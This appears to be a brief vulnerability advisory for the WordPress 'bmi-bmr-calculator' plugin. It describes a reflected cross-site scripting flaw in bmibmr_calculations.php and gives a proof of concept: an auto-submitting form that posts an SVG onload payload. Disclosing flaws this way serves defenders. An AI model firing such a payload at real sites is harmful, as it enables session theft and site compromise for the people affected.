The plugin does not sanitise and escape arbitrary POST data before outputting it back in the response, leading to a Reflected Cross-Site Scripting
<form action="https://example.com/wp-content/plugins/bmi-bmr-calculator/bmibmr_calculations.php" method="post" name="form1">
<input type="text" name="123" value="<svg onload=alert('xss')>">
<button type="submit"></button>
</form>
<script>
document.form1.submit();
</script>